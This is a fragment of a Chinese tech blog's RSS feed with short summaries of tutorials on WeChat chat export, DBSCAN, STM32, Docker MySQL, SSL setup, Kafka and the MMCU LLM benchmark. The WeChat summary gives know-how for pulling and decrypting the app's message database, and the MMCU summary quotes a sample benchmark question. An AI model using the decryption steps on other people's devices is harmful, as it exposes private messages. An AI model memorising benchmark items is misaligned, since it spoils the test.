      <pubDate>Sat, 13 May 2023 11:11:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51812d8588a1d1b33a78240a2f95f840/</guid>
      <description> 1 背景 关于微信记录导出的有比较多的方法, 在这里进行汇总下, 以下都是经过我亲测可行的, 不要去买一些付费的软件, 自己手动操作下就好啦&#xA;2 步骤 主要参考这两篇文章:&#xA;微信聊天记录导出为电脑txt文件教程&#xA;微信聊天记录导出(2020新版)&#xA;具体步骤:&#xA;1.先登录电脑版微信&#xA;2.备份与迁移, 选择备份聊天记录到电脑&#xA;3.手机上选择聊天对象,之后开始备份&#xA;4.安装mumu模拟器, 在上面安装 微信和ES文件浏览器&#xA;5.在模拟器上登录微信(手机上退出),在电脑微信上选择备份与迁移, 将聊天记录恢复到手机上&#xA;6.使用es文件浏览器将聊天数据库导出,名字为EnMicroMsg.db&#xA;7.使用sqlcipher读取db文件并导出为csv&#xA;8.csv数据处理, 将聊天记录根据id进行分类&#xA;后续数据处理(生成词云)以及代码见代码&#xA;3 踩坑记录 登录电脑版微信 -&amp;gt; 选择备份聊天记录 -&amp;gt; 下载安装MuMu模拟器(坑1) -&amp;gt; 安装微信和es文件浏览器(坑2)&#xA;-&amp;gt; 登录微信并还原聊天记录 -&amp;gt; 开启root -&amp;gt; 找到com.tencent.mm文件夹压缩后导出 -&amp;gt; 找到数据库密码(坑3) -&amp;gt; 导出message表&#xA;坑0: 此部分参考链接,不再赘述 https://zhuanlan.zhihu.com/p/111802776坑1:这个模拟器比较好用,其他像什么夜神(不好找文件,安装不了es),vmos(手机版,运行太慢,很卡)都不太行坑2:模拟器上面的IMEI编码好像设不设置都没关系坑3:数据库密码,规则网上都很清楚,这里有几个注意点,1是IMEI编码的问题,如果你的手机是双卡双待的话,可能两个IMEI都没用,而是使用默认的字符串 1234567890ABCDEF, 2.注意最终密码应该是全小写字母 </description>
    </item>
    <item>
      <title>雷达目标识别最常用的聚类算法之一——密度聚类DBSCAN</title>
      <link>https://bchobby.github.io/posts/55ce76a4ba9ea53f0f441aab770fe94a/</link>
      <pubDate>Sat, 13 May 2023 10:13:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55ce76a4ba9ea53f0f441aab770fe94a/</guid>
      <description>当雷达检测目标点的数据达到一定程度，基于原始检测点目标的跟踪算法耗时耗力，且容易导致目标分裂，所以常见的处理方式是在建立目标的关联航迹之前，先对点目标进行聚类预处理，比如200个目标检测点，经过DBSCAN聚类之后，产生50个左右的聚类目标，在50个聚类目标的基础上再去进行航迹的关联跟踪，这样做有几点好处：&#xA;1） 大大减少了目标跟踪的复杂度和时间；&#xA;2） 对大目标的分裂问题友好；&#xA;3） 通过聚类的结果对单一的虚假点进行过滤，减少虚假航迹；&#xA;4） 通过类内的点的特征与分布，可以帮助估计目标的特征与运动形态；&#xA;本文提供了DBSCAN的matlab代码实现，但在具体应用的过程中，需要根据实际雷达检测点的质量、精度、分辨率等信号的指标特性，动态调整DBSCAN的代码逻辑或者聚类门限，以下代码仅供大家学习和研究。&#xA;%----------------DBSCAN聚类算法----------------- % 基于密度聚类，不需要设定类的数量 % 优势：首先，它根本不需要pe-set数量的簇。 它还将异常值识别为噪声，而不像mean-shift，即使数据点非常不同， % 它们也会将它们引入群集中。 另外，它能够很好地找到任意大小和任意形状的簇。 % 缺点：当簇的密度不同时，DBSCAN的性能不如其他组织。 这是因为当密度变化时，用于识别邻近点的距离阈值ε和 % minPoints的设置将随着群集而变化。 对于非常高维的数据也会出现这种缺点，因为距离阈值ε再次难以估计。 %----------------------------------------------------- function [IDX, isnoise]=DBSCAN(X,epsilon,MinPts) C = 0; n = size(X,1); IDX = zeros(n,1); D = pdist2(X,X); % 计算向量之间的距离 visited = false(n,1); isnoise = false(n,1); for i = 1:n if ~visited(i) visited(i) = true; Neighbors = RegionQuery(i); % 找到第i个点epsilon范围内的点 if numel(Neighbors) &amp;lt; MinPts % numel()返回满足条件的元素个数 % X(i,:) is NOISE isnoise(i) = true; else C=C+1; ExpandCluster(i,Neighbors,C); end end end function ExpandCluster(i,Neighbors,C) IDX(i) = C; k = 1; while true j = Neighbors(k); if ~visited(j) visited(j) = true; Neighbors2 = RegionQuery(j); if numel(Neighbors2) &amp;gt;= MinPts Neighbors=[Neighbors Neighbors2]; %#ok end end if IDX(j) == 0 IDX(j) = C; end k = k + 1; if k &amp;gt; numel(Neighbors) break; end end end function Neighbors = RegionQuery(i) Neighbors = find(D(i,:) &amp;lt;= epsilon); end end clc; clear; close all; %% test Data % 这里使用的iris数据的一部分，由于第3维和第4为数据数据区分度好，因此用3、4维数据测试 % Iris-setosa X1 = [5.</description>
    </item>
    <item>
      <title>STM32_HAL库_点亮LED</title>
      <link>https://bchobby.github.io/posts/1aad11efa75eb8969fb3609669ab6c03/</link>
      <pubDate>Sat, 13 May 2023 00:14:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1aad11efa75eb8969fb3609669ab6c03/</guid>
      <description>用HAL库点亮一个LED灯&#xA;编程思路，代码，代码理解&#xA;芯片型号：&#xA;STM32F407ZGT6&#xA;参考文件：&#xA;F4 HAL库官方文档、STM32F4xx中文参考手册&#xA;基本思路：&#xA;点亮一个LED的最主要的就是控制LED对应的引脚的电平高低，如原理图可知：例如点亮LED_R,LED正极外界3.3V电压，则需要对PF6口输出低电平，即控制PF6_IO口输出低电平，形成电压差，从而点亮LED。&#xA;如原理图可知LED_R负极接芯片PF6口。&#xA;1、运用STM32CubeMX初始化&#xA;具体步骤：&#xA;①点击ACCESS TO　MCU　SELECTOR&#xA;②按上图所示步骤&#xA;在１处输入自己单片机型号　例如：STM32F407ZGT6。&#xA;在２处单机选择&#xA;在３处点击start　project创建文件进入到配置界面&#xA;③初始化界面配置&#xA;１处可以搜索需要配置的功能，例如我需要配置ＩＯ口即可在此输入搜索ＧＰＩＯ&#xA;２处可以查看所有配置的列表&#xA;３处可视化芯片所有引脚&#xA;＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊&#xA;这种颜色表示不可配置引脚 电源专用引脚以黄色突出显示。其配置不能更改&#xA;这种颜色表示你配置了一个I/O口的功能，但是没有初始化相对应的外设功能 引脚处于no mode 状态 绿色表示配置成功&#xA;来源：【STM32】STM32CubeMX教程二--基本使用(新建工程点亮LED灯)_Z小旋的博客-CSDN博客&#xA;＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊&#xA;４处可以搜索要用的引脚，搜索到后会在３处闪烁　例如搜索ＰＦ６，会出现如下左图&#xA;－－＞&#xA;点击相应的引脚会显示出该引脚可配置的功能，点击所需要配置的功能即可，点击后出现如上右图。当右图可视化引脚冒绿光代表配置完成，可在中间框点击ＰＦ６配置更多参数。&#xA;（有需要可配置时钟初始化Clock　Configuration；默认时钟选择的是内部ＨＳＩ　ＲＣ&#xA;－１６Ｍｈｚ）&#xA;１可配置时钟&#xA;２配置文件&#xA;根据自己的需要配置Name、文件位置、ＩＤＥ&#xA;配置完Project后配置Code　Generator&#xA;（我的一般配置）&#xA;配置的大致说明：&#xA;【STM32】STM32CubeMX教程二--基本使用(新建工程点亮LED灯)_Z小旋的博客-CSDN博客&#xA;配置完成后点击右上角GENERATE　ＣＯＤＥ生成文件如下图所示：&#xA;打开ＭＤＫ－ＡＲＡＭ里的程序，进行第一次编译，可能会发现会有如下报错：&#xA;想要解决问题，需要在右侧Ｐｒｏｊｅｃｔ处做如下操作：&#xA;双击Ｄｒｉｖｅｒｓ／ＣＭＳＩＳ文件，在官方下载的STM32Cube_FW_F4_V1.27.0文件夹里选择Ｄｒｉｖｅｒｓ，然后选择ＣＭＳＩＳ，然后选择Device，无脑点到底到有一个Ｓｏｕｒｃｅ文件的目录下，点击Source，再无脑点到有三个文件夹构成的目录下，点击ａｒｍ，寻找和自己型号匹配的启动文件，双击添加，搞定。&#xA;至此配置的初始化差不多了，可以开始写简单的电灯程序了：&#xA;③正式电灯：&#xA;ｍａｉｎ函数中的ｗｈｉｌｅ循环（已经自动生成）&#xA;while (1) { ／／对ＰＦ６口设置低电平 HAL_GPIO_WritePin(GPIOF,GPIO_PIN_6,GPIO_PIN_RESET); } 搞定！！&#xA;④由于我是第一次用ＨＡＬ找不到看的爽的教程，所以尝试自己分析里面的内容。&#xA;附上主函数：</description>
    </item>
    <item>
      <title>使用docker构建并部署MySQL5.7镜像</title>
      <link>https://bchobby.github.io/posts/324f330d578be7abed211eb5b0ae790a/</link>
      <pubDate>Fri, 12 May 2023 20:43:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/324f330d578be7abed211eb5b0ae790a/</guid>
      <description>使用docker构建并部署MySQL5.7镜像 前言一、docker中部署MySQL主要有哪几种方式？二、CentOS 镜像中构建 MySQL 容器1.编写Dockerfile2.初始化MySQL 三、MySQL 官方镜像中构建容器1. 拉取官方镜像2. 运行镜像3. 配置镜像外网访问 四、MySQL 容器初始化脚本1. 将sql文件放入docker2. 执行sql文件 五、MySQL 容器本地化部署1. 打包mysql镜像2. 部署MySQL镜像 总结 前言 这几天在研究如何将服务器和数据库迁移至docker容器，中间遇到了许多问题，特此写篇博客记录一下。&#xA;提示：本篇文章主要讲解如何在docker容器中构建及部署MySQL&#xA;一、docker中部署MySQL主要有哪几种方式？ 从 CentOS 镜像中构建 MySQL 容器从 MySQL 官方镜像中构建容器 从 CentOS 镜像中构建 MySQL 容器可以更好地控制操作系统的版本和配置，而从 MySQL 官方镜像中构建容器则可以更方便地获取最新版本的 MySQL。具体选择哪个镜像，可以根据自己的需求和实际情况来决定。&#xA;下面我们来尝试上面两种构建MySQL容器的方式&#xA;二、CentOS 镜像中构建 MySQL 容器 1.编写Dockerfile Dockerfile（示例）：&#xA;# 1. 镜像基于centos7 FROM centos:7 # 2. 更改镜像时区 RUN echo &#39;Asia/Shanghai&#39; &amp;gt;/etc/timezone MAINTAINER 作者 # 3. 安装必要的软件包 RUN yum -y install epel-release RUN yum install initscripts -y # 4.</description>
    </item>
    <item>
      <title>6、内存泄漏和内存溢出有什么区别？</title>
      <link>https://bchobby.github.io/posts/ccd724f6b627fc0e8866546ba3682d4b/</link>
      <pubDate>Fri, 12 May 2023 20:17:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccd724f6b627fc0e8866546ba3682d4b/</guid>
      <description> 一、内存溢出 内存溢出 （out of memory），指程序申请内存时，没有足够的内存供申请者使用。内存溢出就是你要的内存空间超过了系统实际分配给你的空间，此时系统相当于没法满足你的需求，就会报内存溢出的错误。&#xA;内存溢出原因：&#xA;1、内存中加载的数据量过于庞大，如一次从数据库取出过多数据&#xA;2、集合类中有对对象的引用，使用完后未清空，使得不能回收&#xA;3、代码中存在死循环或循环产生过多重复的对象实体&#xA;4、使用的第三方软件中的 BUG&#xA;5、启动参数内存值设定的过小&#xA;举例：一个盘子用尽各种方法只能装4个果子，你装了5个，结果掉倒地上不能吃了。这就是溢出！比方说栈，栈满时再做进栈必定产生空间溢出，叫上溢，栈空时再做退栈也产生空间溢出，称为下溢。就是分配的内存不足以放下数据项序列,称为内存溢出.。&#xA;二、内存泄漏 内存泄露 （memory leak），是指由于疏忽或错误造成了程序未能释放掉不再使用的内存的情况。内存泄漏并非指内存在物理上的消失，而是应用程序分配某段内存后，由于设计错误，失去了对该段内存的控制，因而造成了内存的浪费。一次内存泄露危害可以忽略，但内存泄露堆积后果很严重，无论多少内存,迟早会被占光。&#xA;memory leak会最终会导致out of memory！&#xA;举例：内存泄漏是指你向系统申请分配内存进行使用(new)，可是使用完了以后却不归还(delete)，结果你申请到的那块内存你自己也不能再访问（也许你把它的地址给弄丢了），而系统也不能再次将它分配给需要的程序。&#xA;分类：&#xA;★以发生的方式来分类，内存泄漏可以分为4类： 1. 常发性内存泄漏。发生内存泄漏的代码会被多次执行到，每次被执行的时候都会导致一块内存泄漏。 2. 偶发性内存泄漏。发生内存泄漏的代码只有在某些特定环境或操作过程下才会发生。常发性和偶发性是相对的。对于特定的环境，偶发性的也许就变成了常发性的。所以测试环境和测试方法对检测内存泄漏至关重要。 3. 一次性内存泄漏。发生内存泄漏的代码只会被执行一次，或者由于算法上的缺陷，导致总会有一块仅且一块内存发生泄漏。比如，在类的构造函数中分配内存，在析构函数中却没有释放该内存，所以内存泄漏只会发生一次。 4. 隐式内存泄漏。程序在运行过程中不停的分配内存，但是直到结束的时候才释放内存。严格的说这里并没有发生内存泄漏，因为最终程序释放了所有申请的内存。但是对于一个服务器程序，需要运行几天，几周甚至几个月，不及时释放内存也可能导致最终耗尽系统的所有内存。所以，我们称这类内存泄漏为隐式内存泄漏。 ★几种内存泄漏的情况：&#xA;1、堆内存泄漏 （Heap leak）。对内存指的是程序运行中根据需要分配通过 malloc，realloc new等从堆中分配的一块内存，再是完成后必须通过调用对应的 free 或者 delete 删掉。如果程序&#xA;的设计的错误导致这部分内存没有被释放，那么此后这块内存将不会被使用，就会产生 Heap Leak。&#xA;2、系统资源泄露（Resource Leak）。主要指程序使用系统分配的资源比如 Bitmap，handle ，SOCKET等没有使用相应的函数释放掉，导致系统资源的浪费，严重可导致系统效能降低，系统运行不稳定。&#xA;3、没有将基类的析构函数定义为虚函数。当基类指针指向子类对象时，如果基类的析构函数不&#xA;是 virtual，那么子类的析构函数将不会被调用，子类的资源没有正确释放，因此造成内存泄露。&#xA;从用户使用程序的角度来看，内存泄漏本身不会产生什么危害，作为一般的用户，根本感觉不到内存泄漏的存在。真正有危害的是内存泄漏的堆积，这会最终消耗尽系统所有的内存。从这个角度来说，一次性内存泄漏并没有什么危害，因为它不会堆积，而隐式内存泄漏危害性则非常大，因为较之于常发性和偶发性内存泄漏它更难被检测到 </description>
    </item>
    <item>
      <title>十分钟读懂Stable Diffusion运行原理</title>
      <link>https://bchobby.github.io/posts/2bf4e0c74f2036fe01469a04a03772a2/</link>
      <pubDate>Fri, 12 May 2023 20:16:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2bf4e0c74f2036fe01469a04a03772a2/</guid>
      <description>作者：symon&#xA;AIGC 热潮正猛烈地席卷开来，可以说 Stable Diffusion 开源发布把 AI 图像生成提高了全新高度，特别是 ControlNet 和 T2I-Adapter 控制模块的提出进一步提高生成可控性，也在逐渐改变一部分行业的生产模式。惊艳其出色表现，也不禁好奇其背后技术。本文整理了一些学习过程中记录的技术内容，主要包括 Stable Diffusion 技术运行机制，希望帮助大家知其所以然。&#xA;一 背景介绍 AI 绘画作为 AIGC（人工智能创作内容）的一个应用方向，它绝对是 2022 年以来 AI 领域最热门的话题之一。AI 绘画凭借着其独特创意和便捷创作工具迅速走红，广受关注。举两个简单例子，左边是利用 controlnet 新魔法把一张四个闺蜜在沙滩边上的普通合影照改成唯美动漫风，右边是 midjourney v5 最新版本解锁的逆天神技， 只需输入文字“旧厂街风格，带着浓浓 90 年代氛围感”即可由 AI 一键生成超逼真图片！&#xA;图1 两个stable diffusion例子 Stable Diffusion，是一个 2022 年发布的文本到图像潜在扩散模型，由 CompVis、Stability AI 和 LAION 的研究人员创建的。要提到的是，Stable Diffusion 技术提出者 StabilityAI 公司在 2022 年 10 月完成了 1.01 亿美元的融资，估值目前已经超过 10 亿美元。本文会在第二部分着重介绍 Stable Diffusion 的技术思路，第三部分深入分析各个重要模块的运行机制，最后总结下 AI 绘画。&#xA;二 原理简介 Stable Diffusion 技术，作为 Diffusion 改进版本，通过引入隐向量空间来解决 Diffusion 速度瓶颈，除了可专门用于文生图任务，还可以用于图生图、特定角色刻画，甚至是超分或者上色任务。作为一篇基础原理介绍，这里着重解析最常用的“文生图（text to image）”为主线，介绍 stable diffusion 计算思路以及分析各个重要的组成模块。</description>
    </item>
    <item>
      <title>分布式搜索引擎Elasticsearch基础入门学习</title>
      <link>https://bchobby.github.io/posts/3035d02fd07f947470b86b8a9a406f6f/</link>
      <pubDate>Fri, 12 May 2023 19:09:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3035d02fd07f947470b86b8a9a406f6f/</guid>
      <description>Elasticsearch介绍# Elasticsearh 是 elastic.co 公司开发的分布式搜索引擎。&#xA;Elasticsearch（简称ES）是一个开源的分布式、高度可扩展的全文搜索和分析引擎。它能够快速、近乎实时的存储、搜索和分析大量数据。适用于包括文本、数字、地理空间、结构化和非结构化数据等在内的所有类型数据。&#xA;它通常为具有复杂搜索功能的应用提供底层搜索技术。&#xA;当然，它也可以用来实现分布式数据存储、日志统计、分析、系统监控、地理空间查询等功能。&#xA;Elasticsearch 最底层的搜索引擎技术是 Apache 基金会开源的搜索引擎类库 Lucene，Lucene 提供了搜索引擎核心 API 。&#xA;Lucene 地址：Apache Lucene - Welcome to Apache Lucene ES 在 Lucene 的基础上提供了分布式支持，可以水平扩展，提供了 Restful 这种简洁的访问接口，能被任何语言调用。&#xA;Elasticsearch 官网：Elastic Observability and Security — built on Elasticsearch | Elasticgithub：GitHub - elastic/elasticsearch: Free and Open, Distributed, RESTful Search Engine Elasticsearch能做什么# 应用搜索，常见的 github 的代码搜索，滴滴，美团，点评，银行等各种搜索网站搜索日志记录和日志分析基础设置指标和容器监控应用性能监控地理空间数据分析和可视化商业分析安全分析 二、ELK 是什么# ELK 是 Elasticsearch、Logstash 和 Kibana 的第一个字母组合，也叫 ELK Stack。是一套用于数据采集、存储、分析和可视化的开源工具集。&#xA;Elasticsearch：存储、索引、计算、搜索、分析数据。&#xA;Logstash：用于收集、转换数据，然后将它存储在 ES 中。后面还开发新的收集数据软件 Beats。</description>
    </item>
    <item>
      <title>记一次tomcat、gateway配置SSL，使用https访问</title>
      <link>https://bchobby.github.io/posts/d4e2289ce7d12020aba189214521750c/</link>
      <pubDate>Fri, 12 May 2023 16:17:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4e2289ce7d12020aba189214521750c/</guid>
      <description>1、前置条件： 外网对应服务器的nginx已配置跳转，并给到了域名对应的ssl相关文件 xxx.pfx 和密码串&#xA;前端访问&#xA;http://域名:8081&#xA;解析到： http://IP:8081&#xA;后端接口&#xA;http://域名:88&#xA;解析到： http://IP:88&#xA;2、服务器配置SSL 架构使用了前后端分离，所以前后端访问都需要配置SSL&#xA;2.1、前端 前端正式环境url访问配置 https://域名:8081&#xA;前端正式环境url调用访问后台配置 https://域名:88&#xA;前端部署在tomcat，tomcat 的conf/server.xml文件配置 &amp;lt;Connector port=&#34;8081&#34; protocol=&#34;org.apache.coyote.http11.Http11NioProtocol&#34; SSLEnabled=&#34;true&#34; scheme=&#34;https&#34; secure=&#34;true&#34; keystoreFile=&#34;conf/cert/xxx.pfx&#34; keystorePass=&#34;xxx&#34; clientAuth=&#34;false&#34; SSLProtocol=&#34;TLSv1+TLSv1.1+TLSv1.2&#34; ciphers=&#34;TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA256&#34;/&amp;gt; 2.2、后端 使用springcloud gateway作为网关&#xA;gataway微服务配置 pom.xml添加插件&#xA;&amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;maven-resources-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;encoding&amp;gt;UTF-8&amp;lt;/encoding&amp;gt; &amp;lt;!-- 过滤后缀为pkcs12、jks的证书文件 --&amp;gt; &amp;lt;nonFilteredFileExtensions&amp;gt; &amp;lt;nonFilteredFileExtension&amp;gt;pfx&amp;lt;/nonFilteredFileExtension&amp;gt; &amp;lt;nonFilteredFileExtension&amp;gt;jks&amp;lt;/nonFilteredFileExtension&amp;gt; &amp;lt;/nonFilteredFileExtensions&amp;gt; &amp;lt;/configuration&amp;gt; &amp;lt;/plugin&amp;gt; 配置文件bootstrap.yml配置&#xA;server: port: 88 ssl: key-store: classpath:xxx.com.pfx key-store-type: PKCS12 enabled: true key-store-password: xxx 配置文件application.yml配置（每个微服务都配置） uri: lb:http://微服务名称&#xA;- id: xxx_route uri: lb:http://微服务名称 predicates: #- Host=域名 - Path=/api/** filters: - RewritePath=/api/(?</description>
    </item>
    <item>
      <title>小程序使用Image对象预加载图片·获取图片信息</title>
      <link>https://bchobby.github.io/posts/47488304f3b5a8a14af551bc24f2c3a8/</link>
      <pubDate>Fri, 12 May 2023 15:42:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47488304f3b5a8a14af551bc24f2c3a8/</guid>
      <description>微信和支付宝等小程序目前都没有直接调用Image的接口, 但可以借用canvas曲线救国，在页面设置个不可见的canvas,再通过canvas的接口能力就能调用到image了&#xA;微信案例 wx.createSelectorQuery() .select(&#39;#myCanvas&#39;) // 在 WXML 中填入的 id .fields({ node: true, size: true }) .exec((res) =&amp;gt; { // Canvas 对象 const canvas = res[0].node // 图片对象 const image = canvas.createImage() // 图片加载完成回调 image.onload = () =&amp;gt; { // 将图片绘制到 canvas 上 console.log({image, width: image.width, height: image.height}); } image.src = &#39;https://open.weixin.qq.com/zh_CN/htmledition/res/assets/res-design-download/icon64_wx_logo.png&#39; }) 支付宝案例 Page({ // 一定要在 canvas 的 onReady 中调用，否则获取到的 context 可能不正确 onCanvasReady() { // 通过 SelectorQuery 获取 Canvas 实例 my.</description>
    </item>
    <item>
      <title>wine 源码中 .spec 文件解析</title>
      <link>https://bchobby.github.io/posts/07bf1c6d8c9290e26ead68e4935836b7/</link>
      <pubDate>Fri, 12 May 2023 15:21:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07bf1c6d8c9290e26ead68e4935836b7/</guid>
      <description>在源码查看过程中，涉及到dll 和 so 文件的导入和导出，此时就必须要了解各种函数的跳转过程和导入导出过程，也就必须要彻底了解 .spec 文件。其中尤其ntdll.spec 和user32.spec 为甚，涉及非常多的常用函数接口。&#xA;关于spec 文件的详细注释查阅官方文档 https://www.winehq.org/docs/winebuild&#xA;通用语法 spec规范文件应该包含一个有序声明的列表。通用语法如下：&#xA;ordinal functype [flags] exportname ( [args...] ) [handler] ordinal variable [flags] exportname ( [data...] ) ordinal extern [flags] exportname [symbolname] ordinal stub [flags] exportname [ (args...) ] ordinal equate [flags] exportname data # comments 声明必须放在一行上，除非在行的末尾使用反斜杠字符转义。一行中任何位置的#字符都会导致该行的剩余部分作为注释被忽略。&#xA;序数（ordinal ）指定与入口点相对应的序数，或“@”用于自动序数分配（仅Win32）。&#xA;flags是一系列可选的标志，前面有一个“-”字符。支持的标志如下：&#xA;-norelay&#xA;中继调试跟踪中(WINEDEBUG=+relay 时)不显示入口点（仅Win32）。&#xA;-noname&#xA;入口点将按序号而不是按名称导出。该名称仍然可用于导入。&#xA;-ret16&#xA;该函数返回一个16位值（仅限Win16）。&#xA;-ret64&#xA;该函数返回一个64位值（仅限Win32）。&#xA;-register&#xA;函数使用CPU寄存器来传递参数。&#xA;-private&#xA;该函数无法从其他dll导入，只能通过GetProcAddress访问。&#xA;-ordinal&#xA;入口点将按序号而不是按名称导入。该名称仍将被导出。&#xA;-thiscall&#xA;该函数使用thiscall调用约定（i386上%ecx寄存器中的第一个参数）。&#xA;-fastcall</description>
    </item>
    <item>
      <title>AdBlock插件，在谷歌浏览器中屏蔽百度热搜或其他广告</title>
      <link>https://bchobby.github.io/posts/7dd487d92e56306907c04ae3a8527193/</link>
      <pubDate>Fri, 12 May 2023 15:08:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7dd487d92e56306907c04ae3a8527193/</guid>
      <description>介绍 通过该插件可以将谷歌浏览器中的任何网址中的特定元素过滤掉，比如百度搜索后右侧的百度热搜，看着就很烦人，每次都忍不住看两眼，少则浪费十几秒，多则浪费个把小时。同时也可以屏蔽其他网站中的元素，让你在浏览网站时可以尽可能的&#xA;下载插件(AdBlock) 插件地址：https://www.chromedownloads.net/extensions/456.html#google_vignette&#xA;下载解压后将文件夹添加到谷歌浏览器扩展程序中，扩展程序位置：谷歌浏览器右上角三个点 &amp;gt; 设置 &amp;gt; 扩展程序。然后直接将刚才下载的AdBlock文件夹拖拽进去即可。&#xA;使用方法 方法一 打开有百度热搜的页面。 右击空白区域在 &#34; AdBlock-最佳广告拦截工具&#34; 中选择隐藏此页面上的区域，然后移动鼠标找到对应元素隐藏即可。&#xA;方法二 打开有百度热搜的页面 &amp;gt; 右击空白区域，选择&#34;查看&#34; 或 直接按f12打开控制台 &amp;gt; 找到你想要隐藏的元素，查看他的class类名。&#xA;进入AdBlock插件页面，将网站的域名加上需要隐藏的元素的类名即可。保存后再打开百度的页面，就会发现百度热搜已经被隐藏。www.baidu.com##DIV[class=“FYB_RD”]</description>
    </item>
    <item>
      <title>搭建高可用kafka集群</title>
      <link>https://bchobby.github.io/posts/6d3137fd0c885877c8a3b7bcd7062c48/</link>
      <pubDate>Fri, 12 May 2023 15:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d3137fd0c885877c8a3b7bcd7062c48/</guid>
      <description>搭建高可用kafka集群 一、环境准备 搭建集群至少需要三台机器，奇数节点Kafka的安装需要Java环境，JDK1.8以上本次离线安装包包括 jdk1.8.0_161.tar.gz 、kafka_2.12-3.4.0.tgz假设3台服务器分别为：ip1、ip2、ip3 二、安装jdk环境 解压jdk安装文件： tar -zxvf /app/jdk1.8.0_161.tar.gz 设置环境变量： export JAVA_HOME=/app/jdk1.8.0_161 export PATH=$JAVA_HOME/bin:$PATH 添加环境变量至/etc/profile文件： export JAVA_HOME=/app/jdk1.8.0_161 PATH=$JAVA_HOME/bin:$PATH 查看Java版本 java -version 三、zookeeper集群搭建 编辑Zookeeper配置文件 #解压 tar -zxvf /app/kafka_2.12-3.4.0.tgz #进入目录 cd /app/kafka_2.12-3.4.0 #创建zookeeper数据目录 mkdir zk_kfk_data #更换名称 mv kafka_2.12-3.4.0 kafka #进入kafka目录 cd kafka #更改zookeeper配置,添加以下配置 vim config/zookeeper.properties zookeeper配置文件如下(三台机器上的zookeeper.properties文件配置相同)：&#xA;#Zookeeper数据文件的目录 dataDir=/app/kafka/zk_kfk_data #Zookeeper保存日志文件的目录 dataLogDir=/app/kafka/logs # the port at which the clients will connect clientPort=2181 # disable the per-ip limit on the number of connections since this is a non-production config maxClientCnxns=0 tickTime=2000 initLimit=10 syncLimit=5 # Disable the adminserver by default to avoid port conflicts.</description>
    </item>
    <item>
      <title>“超越”(MMCU)中文通用大语言模型测试集--国内首个多领域多任务数据集</title>
      <link>https://bchobby.github.io/posts/acb422374064ca42dc882fcf57ec4d50/</link>
      <pubDate>Fri, 12 May 2023 14:23:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acb422374064ca42dc882fcf57ec4d50/</guid>
      <description>来自：甲骨易&#xA;进NLP群—&amp;gt;加入NLP交流群&#xA;近期，中文大语言模型蓬勃发展，但却一直没有出现可应用于评测大模型能力的测试。甲骨易AI研究院提出一种衡量中文大模型处理多任务准确度的测试，并在此基础上制作了一套适配测试中文大模型的数据集，并将其命名为“超越”。&#xA;数据集的测试内容涵盖四大领域：医疗、法律、心理学和教育。通过综合评估模型在多个学科上的知识广度和深度，能够帮助研究者更精准地找出模型的缺陷，并对模型的能力进行打分。&#xA;简介&#xA;自ChatGPT发布以来，大语言模型(LLMs)保持着在计算机科学技术与自然语言处理领域的热度，并且仍不断升温。ChatGLM、 MOSS、文心一言、通义千问、商量、星火等众多具备中文能力的大模型也接连发布。这些模型有着庞大的数据规模，通过广泛的预训练以达到能够正确理解人类话语和指令并生成类似人类语言的文本的能力。&#xA;目前，针对英文大语言模型已经有较为完善的评测方式，如2021年由Dan Hendrycks等人发布的MMLU。然而，针对中文大语言模型能力的测试仍然缺失，推出高质量中文评测数据集已经迫在眉睫。&#xA;于是，甲骨易AI研究院制作了一个大规模的多任务测试数据集——“超越”(Massive Multitask Chinese Understanding)。“超越”的意义是希望中文大语言模型“超”出多数模型只能基于英文数据集测试的现状，通过发现大模型的缺陷，从而促进大模型理解中文语言的能力，使其“越”来越强大。&#xA;“超越”所包含的题目由来自不同知识分支的单项和多项选择题组成。数据集中的问题是由专业人员从公开免费资源中收集，覆盖学科面广，专业知识难度高，适合用来评估大模型的综合能力。&#xA;为了测试数据集的可行性和效果，甲骨易AI研究院在正式公开前已经使用其对目前开源的大模型进行了评测。“超越”数据集预计于2023年5月20日正式公开发布获取方式，具体发布相关信息详见文末。&#xA;接下来，将对“超越”数据集(MMCU)中所收录的题目进行介绍，并基于测试结果分析数据在语言模型训练过程中的重要性。&#xA;多任务测试&#xA;“超越”数据集(MMCU)的测试内容来自医疗、法律、心理学和教育四个大类的题目，包含单项选择和多项选择题，目的旨在使测试过程中模型更接近人类考试的方式。&#xA;数据集共收集了11900个问题，将其分成 few-shot开发集和一个测试集。few-shot开发集每个主题有5个问题，共有55个问题；测试集共有11845个问题。&#xA;下面分别对不同领域测试题目的学科和子任务示例进行展示。&#xA;医疗&#xA;医疗类题目来自大学医学专业考试，包括医学三基、药理学、护理学、病理学、临床医学、传染病学、外科学、解剖学等，共有2819个问题。&#xA;示例：&#xA;首次急性发作的腰椎间盘突出的治疗方法首选：&#xA;A. 绝对卧床休息，3 周后戴腰围下床活动&#xA;B. 卧床休息，可以站立坐起&#xA;C. 皮质类固醇硬膜外注射&#xA;D. 